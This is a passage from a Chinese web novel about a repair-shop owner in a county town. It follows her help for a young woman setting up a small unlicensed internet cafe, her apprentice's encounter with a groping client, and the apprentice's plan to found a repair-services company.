看完对范小蓉说:“感觉也不是很难,我还以为男的才能把那个拧开呢。” “确实很容易。”赵如月又忍不住教起她们来。 两个姑娘看起来好像都会了,也不知道是不是真会。 赵如月教完,又说道:“要是下次遇上问题还不会,该找师傅来帮忙就找师傅,可千万别逞强。” 两人听了都不住点头,范小蓉现在对单独跟男的待在同一个房子里,还有点阴影:“可惜能找到的师傅都是男的,要是有女师傅就好了。” 赵如月也知道现在维修行业的现状:“这确实不太好找。” 几人感慨完又回到范小蓉家,她那个同事特地送了一大块还没切成片的雪花牛排,作为帮助她的谢礼:“你们玩得开心,我就不过去打扰了,我也不知道该怎么回报,这个还请你们千万收下,算是给你们今天聚餐加个菜,你们不收的话,我可觉得太不好意思了。” “好,那我就不客气啦!”范小蓉也不跟她推来推去,她们俩就不是这个性格,收下后下次有机会她在请客回去就好了。 范小蓉利索地收下后,就带着其他人回家了。 吃完这顿饭,赵如月一家第二天就又坐上了火车,回云山县。 这次两个孩子手上的游戏机换成了进口的游戏机,还有好几种游戏卡,他们开心地玩了一路都没能把游戏卡全都玩过去一轮。 回到家后,游戏机可以连接电视,一起联机打游戏。 两个孩子连电脑都抛到了脑后,把原本玩电脑的娱乐时间全放在了游戏机上。 直到把所有游戏的单机模式和联机模式全都玩了一遍,狠狠地过了一把瘾,每天就没那么沉迷游戏了,把娱乐时间又分了一半给电脑。 赵如月和宁绍明回来后,忙着看房、看店铺、开镇上的会。 忙忙碌碌间,镇上开发旅游景点的事终于商量出一个结果。 预计在今年下半年开始修整镇上的房子,除了学校和一些特殊的机构建筑,镇上很多地方都要改造。 按照这么长时间和开了那么多的会,商量出来的结果。 镇上几条街道上,已经建成两三层楼房或者平房的那些房子,要把房子的外立面改成复古的样式,做成古香古色的样子。 各家再在这个基础上,按照自己家想做的生意进一步装饰,改外立面的钱会由开发景区的公司承担,他们会提供建筑材料和施工队,到时候统一施工。 施工结束之后,想做生意的人家,要是打算对房子的外观进行进一步的改造,得提前报备,装饰的风格必须符合要求,而且进一步改造的钱也要自己出。 不想用自己房子做生意的人,可以不必管,该怎么过日子就怎么过日子,等镇上各大队通知去培训的时候,按时去参加培训就行。 赵如月镇上的店铺因为是平房,外立面也要进行改造。 外面的墙壁装上了仿竹子的建材,房顶也做成了竹屋的斜坡样式。 原本开发公司对店里的装饰也有要求,但审核的人员来看了她家里面的样子后,感觉很满意, 只指出了一些不合适的地方,让他们简单地修改一下。 这完全得益于,她家刚开张的时候,儿子和女儿搞的自制对牌,那时候他们为了不用客人在店里等太长时间,自己画了对牌。 把对牌撕下一半自己留着,另一半给那些在他家买东西的人,让人家去玩回来后,出示对牌才能拿走东西。 那群买东西的初中生,正是看武侠剧上头的时候,就觉得这样很有武侠风范。 赵如月一看,这形式那么受欢迎,后来就定制了一批古风对牌,阴差阳错地就给店里后来的装饰定下了基调。 不管是镇上的餐饮店,还是县城的分店,店里的装饰都是偏古风的,只是以前没那么注意让店里所有东西的风格,完完全全保持一致。 为了方便,店里难免会有很多跟店里大体风格冲突的东西。 比如桌子不够时,用来凑数当桌子用的广东省省凳。 那是一种四四方方、没有靠背的大红色塑料凳子,价格便宜又特别耐用。 一张高凳子,加上另一张矮一点的凳子,就能让客人有个单人桌椅吃东西。 不用的时候还能叠放起来省空间,可以说是非常实用了。 以前为了省事只能这样,现在既然别人要求得更严格,他们只好把这个省凳从镇上的店里撤掉,放到县城的店里用。 另外再定做一些木质的回来用。 楼房的改造比较麻烦,那些老房子的改造就简单多了。 榕溪镇的楼房还没多少,老房子倒是不少。 老房子本身在建造的时候,就非常有本地的特色,不需要重新装饰外立面。 围墙和房子的墙壁以前是什么样子,就是什么样子,可以装饰但不能有太多现代的东西,类似在围墙边种花、养成花墙这种是比较鼓励的。 只是那些太过现代的门窗,需要修改一下,还有房子里会被游客看到的堂屋和后院的茅厕、院门,也得改一改。 后院种菜的人家,用的东西,比如水桶,水瓢,水管这些要么换、要么改造一番。 不想做生意的人家改堂屋和后院就行,要做点生意,比如民宿、客栈的人家,就得大改一番。 当然不管是楼房还是老房子,如果自己觉得麻烦,什么都不想管的话,可以把房子全权交由开发公司处理。 开发公司会给原本住在里面的人安排其他居住的地方,再让员工来扮演居民,原本的居民不能再回自己的房子居住。 后续给他们安排的工作也不能在原本的房子里。 当然房子以后还是原住民的,除非他们自己把房子卖掉。 赵如月从羊城回来就一直忙到女儿生日那天,才给自己放了一天假。 不过说是忙,其实也就是干每天该干的活,她几乎不会让自己和宁绍明加班。 每天的要做的活,如果到了她自己定下的时间,还做不完,也不强求一定要当天加班做完才休息。 当天做不完就做不完了,剩下的第二天再做。 今年宁时夏生日,也拥有了一个三层的大蛋糕。 去年宁时秋生日有这么一个大蛋糕,她只有一个小的,还有人在宁时夏面前说闲话来着。 故意问她:“你哥哥生日,你爸妈给他弄那么大一个蛋糕,你生日只有一个小的,你爸妈是不是更喜欢你哥哥?” 宁时夏没上当,回人家:“你怎么不说,我哥以前过生日都没蛋糕,我生日的那个小蛋糕,是全家过了那么多生日以来的第一个蛋糕?照你的意思的话,这算不算我爸爸妈妈更喜欢我?” 那人看她不好骗,也就讪讪地走了。 宁时夏没因为这事生气,她怼完人就把这事抛到脑后了,倒是赵如月听说这事后气得够呛。 故意说闲话的那些人,好些都是在她家拆迁款下来后,想跟他们借钱,没借到的人。 有些人没借到钱也就抱怨几句就算了,有些人却怀恨在心,太坏的事他们也不敢做,就故意在孩子面前乱说话,恶心人。 赵如月没能把那人逮个现行,只好先夸小夏怼得真好,然后让自家孩子以后遇到那样的人不要理会。 宁时秋过完生日后,宁丹萍也快要中考了,她努力了一年,即将在这个炎热的六月检验努力的结果。 镇初中和县城的初中,很多学生参加完会考之后,学校就可去可不去。 赵如月看到很多以前眼熟的初中生,县城的街头无所事事地到处晃荡,林丽丽对象的网吧爆满。 很多人排不上机子,甚至朋友共用一台,聊Q.Q,玩游戏,有些学生常去她店里,知道她店里和家里都有电脑。 悄悄来问她:“赵老板,你这电脑应该也能上网吧?你让我玩电脑几个小时行不行?我按照网吧的价格给你钱。” 赵如月听到这话就想,如果同意了,自己这里算算黑网吧? 不过她肯定是没法同意的:“我这电脑性能不如网吧的电脑,不能下载游戏和过多的程序,而且我们还要用它办公,真挣不了你们这个钱。” 其实她的电脑性能不差,而且因为只有一台电脑占据一条网线,网速可能还比网吧那边快。 她只是故意这么说,想让这几个初中生知难而退。 那几个初中生没办法,他们总不能在人家没同意的情况下,擅自去看别人的电脑到底能不能下载游戏玩,只好遗憾地离开了。 不过没几天,林丽丽带着一个年纪跟她差不多大的小姑娘,给赵如月介绍:“三婶,这是我朋友田清。” 她说完,田清也顺势跟赵如月打了个招呼。 这小姑娘的外表看起来颇有些桀骜不驯的样子。 左耳打了好几个耳洞,带着一排耳饰,右耳打了一个,鼻子上也带着一个鼻钉,两只手上都涂着黑色的指甲油,手指和手背上都有纹身,特别有个性。 但是她说话很有礼貌,她一说起话来,如果不看外表的话,会以为她是那种乖乖女类型的气质书香女孩,跟她外表给人的刻板印象比起来,反差很大。 赵如月问林丽丽:“是新朋友吗?以前没见过。” 林丽丽说:“对,是我刚认识没多久的朋友,她准备在县城创业,有些事找不到人帮忙,我不方便找磊哥他们,只好带她来找你了。” 赵如月道:“你们先说说什么事。” “就是……”林丽丽压低声音,一副生怕被人听见的样子,“现在县城的网吧不是特别火吗?去晚了排队都排不上,田清就想开个小网吧,挣点零花钱。” 赵如月恍然大悟,怪不得林丽丽说,这事不方便找她对象帮忙。 她看向田清:“你想让我帮你什么?如果是申请营业执照的话,我不一定能帮得上忙。” 田清看林丽丽管赵如月交三婶,也跟着一起叫三婶:“我听丽丽说,三婶你会组装台式机,我想做这个生意,但是只会玩电脑,对配件、设备那些一窍不通。 所以想请你帮我把把关,主要就是买电脑和组装,到时候我会给你相应的报酬。” 只是这个的话,倒是挺好办,赵如月没说不要报酬,毕竟帮忙采购和组装,也要花不少时间精力。 赵如月就直接问田清对电脑的大概要求。 听完田清的要求,又听她到说:“我需要的电脑不多,最多**台。” 赵如月才明白,这姑娘想开的小网吧,八成是没有执照的黑网吧。 不过赵如月又不是专门查这些的,她就算知道了也没法管。 人家委托她帮忙采购和组装,她只需要把这两个活做好就行,后续田清拿去做什么,就跟自己没关系了。 赵如月又听田清说,她已经搞定了场地,就跟她们去场地看了一眼:“我在一个小区里,买了两套房子打通,不过小区的位置在县城里算比较偏,我买的房子在小区里的位置也比较偏。” 她定下的场地在县城一个步梯房小区的单元楼里,楼栋的位置很靠里侧,接近拆迁区。 因为拆迁区那边现在在施工,路被封了,车子过不来,经过的行人也少,看起来还算隐蔽。 这么年轻的田清能一次性买得起两套房子,赵如月没感觉多意外,反而是这个小区让她有些意外。 田清买的房子,竟然是郑军胜开发的小区的房子。 赵如月跟着田清和林丽丽往小区里走的时候,她甚至在小区里看到了镇上跟郑军胜换房子的人。 这个人勉强算是个熟人。 那就是跟她家老宅那院子,在同一条街的街坊,花钱买老婆的那个外号叫做老钱的老光棍! 第130章 赵如月跟田清进小区时,经过小区里一个放着长椅,让业主歇脚遛娃的地方,跟老钱离得挺近。 不过两人之间隔着小区绿化灌木和树,她看到了老钱,老钱没看到她。 赵如月经过的时候,听到老钱在那里大声地高谈阔论,炫耀说他跟开发这小区的老板有交情,老板小时候管他叫哥。 还有搬到这里之后,有多少人给自己介绍对象,自己都看不上,那些女的还倒贴,有些他睡了又不喜欢,就不给名分,那些女的也不走。 田清也听到了那些话,转头看过去,发现是个秃头大爷。 于是她在上楼前大声嘲讽:“也不撒泡尿照照镜子,看看自己那癞蛤蟆样,一个秃头老登也就能跟人吹吹牛了,真有人倒贴,还不追到小区来?” 赵如月忍俊不禁,但反应很快地忙拉着她往其他楼栋跑,随机选了一栋上楼。 田清不解地说:“三婶,我买的房子不是这栋。” 赵如月说“我知道,但你刚才得罪了那个男的,万一他记恨你,你一个小姑娘自己住,他又是个大龄光棍,让他知道你住在哪里可能不安全,他应该没有看到你的脸,但你的穿衣风格比较独特,看到背影也很容易认出来,近段时间最好换一种风格。” 田清听到她说自己的穿衣风格独特,心里很高兴,以前她这么穿,只有同龄人会夸她,大人们只会嫌弃她穿得不三不四,这还是第一次有长辈夸她。 “我知道了,其实我不只这一种穿衣风格,等会儿到我买的房子,我给你看看其他不同风格的衣服,我爸妈是做服饰生意的,但我只喜欢穿衣服,不喜欢做这一行,他们的审美跟我也不一样,我就自己跑出来创业了。” 两人在那栋楼等了大概半小时,确认老钱没追过来,才从这栋楼的另一个楼梯绕到远离老钱之前在的地方,绕了一大圈才回到田清房子在的那栋楼。 田清为了避免打扰到楼下的住户,买的是二楼的房子,其实按赵如月的想法,想不影响别人的话,其实不如到更远的地方,买个仓库,这样不但不会影响到别人,隐蔽性还更高。 但她这房子买都买了,赵如月也没多说。 上去看过她的那两套房子后,赵如月发现她的那两套房子还没打通,建议她:“如果你要住在这里,这两套房子最好不打通,这样更安全,而且别人也不会影响到你休息。” 田清说:“我担心一套房子不够,如果一套房子也够用的话,不打通也可以。” 赵如月问她知不知道哪些是不能砸的城中墙,那些可以砸,然后用卷尺量了一下:“够的,别说八。九台电脑,就是十几台都够,只是装的电脑多了,来上网的人更多,住在这栋楼的其他住户可能会有意见,也许还会传出一些不好的话。” 其他住户可能会有意见田清可以理解,但她想不到会传什么不好的话:“会说我是小混混吗?” 她能想到的就是这个了,以前她和朋友穿得比较标新立异,没少被人这么说过。 赵如月:“比说你是小混混更难听,你想想现在来上网的人里,男的多还是女的多?” “男的。”田清很快反应过来,她一个女孩子住在这里,好朋友也多是女生,她们的打扮那么独特,很容易遭人非议,再有那么多男的来,还真有可能被人传成这里是鸡窝…… 田清问:“我打个小门,平时不直接从正门去另一套房子,假装是两户人家也不行吗?” 赵如月如实说:“短时间内可以,但你创业肯定是想长时间持续地赚钱吧? 时间长了,邻居肯定能发现,毕竟你一开始根本没办法分辨,来上网的客人里是不是有小区里的年轻人。 如果可以的话,其实我还是更建议你住在其他地方,把工作的地方和生活的地方分开。” 田清懊恼道:“早知道我就不那么快买房了,应该先让丽丽带我去找你,看看需要多大的场地再买的,现在我手头的钱不好再动,我怕不够买机子和其他配件,另外还要买电脑桌电脑椅什么的,我怕钱不够。” “要是你能申请下来经营执照就好了,直接挂牌出去,在附近大力宣传,大大方方让人知道你做的是什么生意,大部分人就不会乱猜乱想。” 田清说:“我一开始也想办,还去问过了,但是办不下来,后来认识了丽丽,也幸亏认识了她,我才知道为什么办不下来,磊哥背后有靠山,估计想在县城把这个干成独门生意。 可我房子都买了,也不知道还能做什么,现在只能悄悄摸摸地开,我知道有些人也是这样。 不过别人的资金没我多,大部分只有两三台电脑,场地直接是他们自己家,也把小网吧开起来了,别看电脑只有两三台,每个小时收两块五上网费,每个月也能挣好几千! 要是自己知道怎么看配件,会组装电脑,还会修电脑,在买机子上花的钱能少一半,要不了一年,他们就能把买机子的钱给挣回来,剩下就全是收益了,能开多久就能继续挣多久。” 这些话田清也不是随便遇上个人就说的,她甚至没跟自己的朋友提过一句。 真正能挣钱的门路,自己还没挣到钱,捂着还来不及,怎么可能告诉别人? 也就是田清想着,自己以后在很长时间内,可能都要倚仗赵如月帮忙修电脑。 前期还要她帮忙购买、组装,而且赵如月家自己也做着生意,不差钱,也不打算挣这个钱,也许还能给自己提一些很好的建议,她才跟她说这么多。 赵如月听完她的话,就觉得这姑娘是真有头脑,行动力还特别强,她想做的事,估计很难不办成。 “既然这样,你要不试着做个女生网吧?做一些好看的VIP卡,前期免费发给女孩子,只让持VIP卡的女孩子来上网。 人太多的时候,还能通过控制VIP卡的发放数量,来控制人数,办卡的时候,留下客人的联系方式,有电脑空出来,就可以按照VIP卡的编号,按顺序联系客人询问是否有上网需求,减少电脑空闲期。” 田清顺着赵如月说的那些话的思路去想,自己都觉得那样的女生网吧,如果有人开,她肯定愿意去! 不说别的,仅女生群体里抽烟的人少这一点,就非常能吸引她! 她决定要开网吧后,就纠结过二手烟这个问题,如果开一个女生网吧,这个问题就几乎算是解决了。 如果来的女生也抽烟,也比较好沟通,大部分抽烟的女生,别人提醒一句,一般就不会抽了。 男的总是理所当然,不顾别人的感受,别人提醒还会叽叽歪歪些有的没的,更有甚者还会骂人或者动手打人。 会顾虑别人感受的当然也有,但是太少了,尤其在网吧那样的一个地方,大部分男的已经把网吧营造成那样的一个环境,就算少数人会为被人着想,会听劝也没用。 现在去网吧上网的人群里,女生数量比较少,田清也不担心。 很多女生不是不喜欢玩电脑,是不敢去网吧,而且女生人数虽然少,她这里的电脑数量也不多呀,人数再少也比她的电脑数量大。 “到时候我还能把电脑和电脑位装扮一下,按照我自己的喜好,弄得漂漂亮亮的,鼠标、键盘这些也可以换成好看的。” 田清说着的时候,脑子里已经对电脑放置的位置有了大概的想法。 不过这些赵如月都不用管,她只需要帮忙买电脑就行,看完场地,又看田清展示她不同风格的衣服,赵如月就回去了。 田清送她离开,回来的时候想起赵如月之前的提醒,也绕了一圈路才回家。 赵如月回到店里,发现气氛有点不太对劲。 她正想找苏胜楠问问自己不在的时候,店里发生了什么事,却没见到苏胜楠。 赵如月是趁着中午休息的时间,去田清那里看场地,而店里的员工是轮流出去吃饭休息。 她出去的时候,也轮到苏胜楠的休息时间了。 “胜楠还没回来吗?”赵如月看向一个店员问。 那个店员指了指后面仓库,小心翼翼地说:“她红着眼眶回来的,不知道是她家里发生了什么,还是去给人修东西的时候遇上了什么事。” 苏胜楠现在已经可以自己接一些修理的活了,她们这些店员每天中午有两个小时的休息时间。 因为晚上下班的时候比较晚了,苏胜楠只能趁着这个时间出去接点私活,这事赵如月知道,她并不觉得有什么。 有时候赵如月夜校的同学有干不过来的活,找到赵如月这边来,苏胜楠会做,时间上也合适的话,她都会推荐给苏胜楠去做。 赵如月去仓库敲了敲门,没一会儿,苏胜楠红着眼眶开门了:“师傅,你是不是要拿东西,不好意思,我占着仓库了。” “我不是要拿东西,只是有点担心你,你没事吧?有什么事千万别自己憋着。” 听到她关心自己,苏胜楠眼泪又没忍住,想说什么,又怕被人听见。 赵如月走进仓库,关上了仓库的门,里面东西多,关上门窗后,她们在里面说话小声点,外面的人就不会听见。 “是因为你爸的病?”赵如月试探着问。 苏胜楠摇头。 赵如月明白了:“那就是今天接的活有问题?” 苏胜楠点头,她现在回想起来都觉得恶心:“今天接的活,只是修吊灯,活不难,找我的是那家的女主人,我去的时候,女主人和男主人都在家,跟他们沟通好问题之后,我就爬上梯子给他们修客厅的吊灯。 女主人去厨房里做饭,那个男主人帮我扶梯子。 一开始还没什么,结果女主人刚好发现酱油没了,下楼去买酱油后,那个男主人就趁我站在梯子上抬着手修理东西,趁机摸我的屁股和胸,我吓得差点从梯子上摔下来。 那个人看起来文质彬彬的,跟我沟通过的时候特别有礼貌,看起来很正常,一点也不猥琐,谁知道竟然是那样的人!” 赵如月越听心越往下沉,她之前也提醒过苏胜楠,让她防着些,但修理水电毕竟需要**,这种事情防范起来难度不小,而且很难分辨出来提前规避。 毕竟知人知面不知心,谁也没办法一个照面,就判断对方是不是好人,就像那个男主人,在女主人离开之前,看着像个正经人,结果老婆一走,就露出了真面目。 唯一庆幸的是,苏胜楠没遇上更过分的事,及时跑掉了。 这种事去报案也没什么用,因为她没证据,而且她也把那个人伤了。 “我当时满心都是气愤,站在梯子上,直接踹了他下巴一脚,下了梯子后,又趁他疼得反应不过来,甩了他一耳光,然后才跑了。” 所以她也不敢带人去找那个人要说法,不然那个人被踢伤得比较严重的话,没准她还要付医药费,那可就更让她恶心了。 苏胜楠倾诉完后,心情好了些,也不想哭了,只是感觉有点遗憾:“那个小区我以后怕是很长一段时间内,没法去了,我在那个小区还有好几个活没干,现在只能推掉了。” 赵如月说:“要是你有个搭档就好了,就算也是个女孩子,两个人一起,总比一个人去安全一些。” “是啊,可惜做这一行的女孩子太少,我遇到的女同行,很多都是跟丈夫一起接活,可我又不想那么快结婚,我家就我一个孩子,我还没想好以后是要招赘,还是跟其他人一样正常嫁人。 我有几个初中同学,本来也想学一门手艺,我给她们推荐这个,让她们跟着我干,可惜她们都不乐意学,宁愿当服务员。” 赵如月本来也挺为苏胜楠发愁,但苏胜楠的话,给了她一些启发:“你找同龄人做这个很难,要不试试年纪大点的?” “年纪大点的?” “对,跟我差不多年纪,家里丈夫不顶用或者离婚丧夫,只能靠自己挣钱养家,想学一门手艺多挣点钱的那些。” 苏胜楠听她说完眼睛一亮:“对呀!我这个年纪的人,更喜欢看起来光鲜一些的工作,但年纪大一些的人,生活压力大,阅历也更丰富,很多事情都看开了,可能更不在乎一份工作是不是体面,更在乎是不是能挣更多钱,师傅,我知道该怎么办了!” 苏胜楠离开仓库后,就趁着店里暂时还没客人,兴冲冲地开始写计划。 俗话说好记性不如烂笔头,她觉得自己不是特别聪明的那种人,优点也就是不怕苦不怕累不怕丢面子。 所以有好点子得马上记下来,再好好规划一番才行,要不她容易忘记,也容易把事情考虑得不全面。 今天是星期六,赵如月家的两个孩子放假,星期五晚上他们就把老师布置在周末写的作业全写完了,星期六星期天就跑来县城找姚据玩。 上午去姚据家跟他一起玩电脑游戏,中午饿了就带姚据这边吃午饭。 一般孩子不在的时候,赵如月和宁绍明中午都是在餐饮店那边简单吃点,孩子在的话,宁绍明就会做饭菜。 每次做的饭菜分量很多,是足够当员工餐的量,每次他还换着花样做,食材又丰富又新鲜,三个店的员工都说这也是算是员工福利之一了。 每次姚据跟着过来一起吃饭也很高兴,就是总想撺掇宁绍明开快餐店。 宁时秋过来给赵如月送午饭,看到苏胜楠爬在柜台上写写画画,路过的时候看了一眼,他最近在网上,非常沉迷于看别人讨论一些经营策划的帖子,这一看,就没从苏胜楠的笔记本上挪开眼睛。 苏胜楠注意到身边占了个人,抬头一看,原来是他,就玩笑着问:“小秋也对修理感兴趣?要不要课余时间跟着我干活?能挣不少钱呢,到时候你可以当我的搭档。” 她跟赵如月学习修理那么久,当然知道宁时秋虽然学习很厉害,但是偏偏对这一门手艺有点不太开窍,也不是很感兴趣,就是跟他开个玩笑。 宁时秋摇头,但却问她:“能不能让我看看你写的这个计划?” 这个没什么不能看的,苏胜楠直接递过去:“给,你看吧,饭菜交给我就行,我帮你拿去给你妈妈。” 员工吃饭的时间不一样,所以饭菜是分装到一次性饭盒里的,每人一份饭一份菜一份汤。 平时宁绍明不做饭的时候,员工可以自己选择去餐饮店吃或者拿补贴自己解决午饭。 宁时秋接过笔记本,把饭菜交给了她。 苏胜楠把饭菜给正在修一部手机的赵如月送去,刚好她自己休息时间结束了,又赶紧去替换其他人招待客人,让她们到隔壁吃饭去。 宁时秋很快就把笔记本上的内容看完,把笔记本还给苏胜楠。 然后说道:“胜楠姐,你的计划太松散了,这相当于只是把一些打零工的人召集起来,大家一起找活干,全靠良心束缚彼此,却不制定相应的规则制度去管理,后续很容易出问题。” 苏胜楠说:“我也知道这样可能会出现问题,可是我也没资格去管理别人呀,只能在找人的时候尽量找熟悉的、人品过得去的人,后续如果出问题的话,大不了大家分道扬镳,我再找别人嘛。” 宁时秋不赞同地说:“那不是很耽误事吗?” 苏胜楠点头:“确实会有点耽误事,可这不是没办法么。” “你没资格管别人,可以给自己创造资格。” “啊?怎么创造?”苏胜楠不太懂。 宁时秋想了想说:“你等等,我去找个东西给你看。” 他说完就跑去翻妈妈的包,从包里拿出一张名片:“你看这个,这是之前劳动节放假,我们一家人去羊城玩的时候,有人去小区里发小广告,塞给爸妈的名片。” 苏胜楠接过来一看:“巧大姐家政服务公司?” 她继续往下看,小声念出来:“主营业务:清洁打扫、月嫂保姆、老人看护、病人看护等服务……这些竟然也能开公司?那我做水电门窗维修、电器维修不是也能……等等,你的意思不会真的是建议我也开一个公司吧?” “对呀。” “可是我在县城没见过这样的公司,大家都是要么‘打游击’,要么靠熟人介绍活,慢慢发展客户。” 宁时秋一脸不赞同地看着她:“就是因为县城还没人做这个,才更好做呀!你想想,我爸以前在夜市街卖钵仔糕,一个买多少钱,生意多好,再看看现在夜市街那些卖钵仔糕,他们都卖不到我爸当时卖的那个价钱,难道这么多摊子里,真没一个好吃的?” 他的话,让苏胜楠陷入沉思,等她回过神来,宁时秋已经跟宁时夏还有姚据一起,跑去姚据家玩了。 苏胜楠只好又去找赵如月:“师傅,你说没文化能开公司吗?” 她一直觉得文化低的人,要是能像她师傅夫妻俩一样,开几家店就非常厉害了。 在苏胜楠的认知里,开公司是一件离自己非常遥远,只在影视剧和报纸杂志上出现的事,也是有文化的人才能做到的事。 赵如月没听到她和宁时秋的对话,不知道她为什么问这个,下意识回答:“怎么不能,申请营业执照又不用看学历,现在很多有钱人学历也不高,甚至小学、初中都没读完。 有钱之后,才花钱混个在职的本科或者研究生学历,当然也有人不在乎学历,就不管这个。” “刚才小秋说我的计划太松散了,建议我开个公司去管人,你觉得我、我能行吗?” “我说你怎么突然问这个,原来是那小子闹出来的事,开公司这事我也没经验,只能跟你说,如果你只是问我,你能不能开一家公司。 那我的回答是:能,只要你想开,并且有启动资金,你去行动了,那公司就能开起来。 但如果你的问题里,还带着询问你去做之后,是否能成功的意思,那我只能回答,我也不知道,这毕竟是创业,影响创业成功的因素太多了。” 130-140 第131章 苏胜楠以往从没想过,自己能和‘创业’这两个字沾上边。 只是这两个字跟自己学会并且熟练的技能也沾上边之后,她又觉得创业似乎也不是那么高不可攀的一件事。 当然,前提是她有起步资金。 至于别的创业风险,比如现在的工作可能不能继续做下去,一开始收入不稳定,甚至没有收入等等,她都觉得不算什么很难的事。 她的家庭条件不好,最缺的就是起步的钱,其他的问题总能想办法解决。 像收入不稳定这一点,以前她还没收入的时候,家里也没过不下去,只是比现在更穷一点。 现在她家的情况比当时还更好了,因为她奶奶腌的酸萝卜好吃,一直给她师傅家的餐饮店供货,这算是一笔稳定的收入,再加上她妈妈在外面打工每个月也会按时寄钱回来。 还有镇上在开发景点,以后她家每年也能拿一点分红,她爸和她奶奶不管是给景点开发公司干活,还是在自家卖点小东西,应该都能挣到钱。 所以其实家庭方面,除了给不起她创业初期的起步资金,其他的并不会拖她后退。 制定规矩管人她也会,是在赵如月店里学会的。 最开始店里只有她一个员工,后来客人越来越多,工作量越来越大,赵如月不想那么累,也不喜欢压榨员工,就陆陆续续招了几个人。 招了人之后,她自己要忙着修理那一摊子事,就把苏胜楠提起来当了副店长。 苏胜楠是亲眼看着赵如月的店一步步发展到现在,从一个员工到好几个员工,客人越来越多,她们拿到的提成,有时候甚至是基本工资的好几倍。 赵如月刚把她升为副店长的时候,她也不知道该怎么管人。 可真到了这个职位上,为了升职加的那部分薪水,又遇上一个宽容的顶头上司,苏胜楠慢慢也就学会了。 自从那天看过宁时秋给她的那张名片,开一家维修服务公司这件事就在苏胜楠心底深深地扎了根。 那张名片宁时秋没要回去,苏胜楠每天都拿出来看看,越看创业的念头越止不住。 她不由自主地算自己家里能拿出多少钱,她自己手里有几千块钱存款,妈妈手里估计也有一些存款,但家里人肯定不赞同她创业。 因为他们跟之前她的一样,觉得那是个可望而不可即的东西,认为她是个普通人,还是个女孩子,应该踏踏实实地在她师傅那里打工,拿一份稳定的工资,别瞎折腾。 在家人不支持的情况下,她妈妈肯定不会把存款拿给她创业。 当然如果她坚持,她的家人也不会非要阻拦她,估计就是不赞成也不反对的态度。 只是她向内是肯定寻求不到帮助了,只能向外。 苏胜楠鼓起勇气找到赵如月:“师傅,我认真思考之后,还是想创业。” 对于苏胜楠的这个决定,赵如月没感到意外,苏胜楠的父亲生病,母亲也是比较温和柔弱的性格,她的家庭情况,让她养成了坚韧且偏强势的性格。 这个姑娘的行动力也是很强的,除非她不想做。 当初她家水龙头坏了,她也是想到自己老板会修,就果断找过来学了。 赵如月和宁绍明从羊城回来后,手上的钱一部分在县城最好的地段买了一套房子。 考虑到以后要做养老房用,他们买的是一套双层的小别墅,付了首付后,再留下前期的装修钱。 拆迁款就只剩下不到四十万了,然后又借给宁时春和丁勇在县城买铺面。 宁时春存款少,借得多些,丁勇有家里人支持,借的少些,两个人都打算明年就独立出去开店。 接替的人手他们也帮宁绍明教好了,等他们独立出去后,接替的人就能马上顶上他们的空出来的位置。 他们这次在县城找铺面,比当初赵如月和宁绍明找的时候情况好了很多。 毕竟赵如月和宁绍明在县城也算站稳了脚跟,认识的人比以前更多,消息来源比以前更广,而且他们俩在县城买了房子后,他们小区的楼盘消息总能第一时间得到。 小区的铺面也是让业主优先选择购买,宁时春买的铺面,就在赵如月家新买的房子所在的小区。 丁勇买的铺面,也是在他爸妈给他买的房子所在的小区。 借钱给他们买铺面后,赵如月自己又买了两个铺面,剩下的钱已经不到十万了。 但是她数了数自己买到的东西,觉得这个年代的钱可真是值钱。 对于苏胜楠会来找自己,赵如月也没赶到意外。 她的家庭情况,赵如月也是知道的。 只是苏胜楠找来的时候,赵如月手上剩下的拆迁款已经不到十万了,当然这不包括他们开店的收入。 开店的收入拿出少部分平时花销之后,剩下的赵如月全都存起来了。 赵如月知道以后会通货膨胀,钱越来越不值钱,可家里也不能不留一些存款以备不时之需。 以后存得多了,她会再买房,毕竟别的投资她也不会,但手里也必须有存款。 赵如月还算了解苏胜楠,这个姑娘是很靠谱的,人品也不错,有些人借了钱能赖掉就赖掉,有些人借了钱就算自己省吃俭用、吃糠咽菜也会还。 赵如月觉得苏胜楠是后一种,所以她没多废话。 直接问苏胜楠:“你大概需要多少钱?如果超过十万的话,我手头上没有那么多,不到十万我可以借给你。”存款她是不打算动的。 苏胜楠却摇头说:“师傅,我不是来借钱的。” 这倒是让赵如月有些意外了:“你凑齐创业的起步资金了?” “没有。” “嗯?所以你今天来找我是为了……” 苏胜楠有点不好意思,但还是坚定地说了出来:“我其实是来拉投资的。” 这又让赵如月意外了一次:“拉投资?”这不像苏胜楠会说出来的词。 赵如月想到了自己儿子撺掇人家创业的事:“又是小秋那小子教你的?” “对,”苏胜楠在赵如月面前十分实诚,“小秋说借钱不如拉人入伙,以后遇到事,还能找合伙人帮忙,他也给我投了两万,我没马上答应,跟他说得问问你,你同意了才行。” 赵如月诧异地问:“两万?他哪来那么多钱?” 苏胜楠也问过宁时秋这个问题,但他不说,苏胜楠就如实对赵如月说:“这我就不知道了,我问了他也没说。” “未成年好像不能投资吧。” “大概是不能的,小秋说到时候他用他爸爸的名义投,但钱是他自己出。” 赵如月无奈:“这小子,也不知道他从哪儿学的那些,这事估计他爸也还不知道,要不然不会不告诉我,晚点等他放学回家我得问问他。” 虽然她决定放养,但这么大的事,就算她不干涉,作为家长也得知道才行。 赵如月看向苏胜楠:“你还差多少钱?” 苏胜楠开心地问:“师傅,你这是答应投资了?” “嗯,我很看好你和你的创业项目。” “谢谢师傅,我会加油的!” 苏胜楠自己的存款加上这个月的工资,刚好有一万,宁时秋投两万,赵如月投七万, 凑够十万块钱起步资金后,苏胜楠会继续在赵如月这里干一个月,等赵如玉选出适合接替她位置的人,同时也顺便多挣一个月的钱,让自己手头有点生活费。 这个月她也没因为之前遇到猥琐男的事而放弃接单干私活,只是选择客户的时候比以前更谨慎、更严格了,一般只接单身女客户的单子。 县城这样的单子不多,赵如月知道后还感慨了一句:“要是你在大城市干这个就好了,大城市的单身独居女性更多,你光是做她们的生意,就够支撑起你的公司。” 赵如月不知道,这话在苏胜楠心里烙下了痕迹,她在完善创业计划的时候,把这个作为自己公司的发展方向之一。 只等公司开起来,在县城站稳脚跟,需要往外发展时再实施。 苏胜楠出去后,赵如月去隔壁找宁绍明:“你知道你儿子打着你的名义,给别人投资的事吗?” 宁绍明听得一头雾水:“小秋做什么了?” 他果然还不知道,赵如月把苏胜楠跟自己说的事告诉他,宁绍明那惊讶的样子,显然比她知道的还少。 不过宁绍明忽而想起一件事:“之前你帮我们在网上买东西后,小秋不是也想买吗?就让我也去帮他办一个U盾,说要自己在网上买东西,我就帮他办了。” 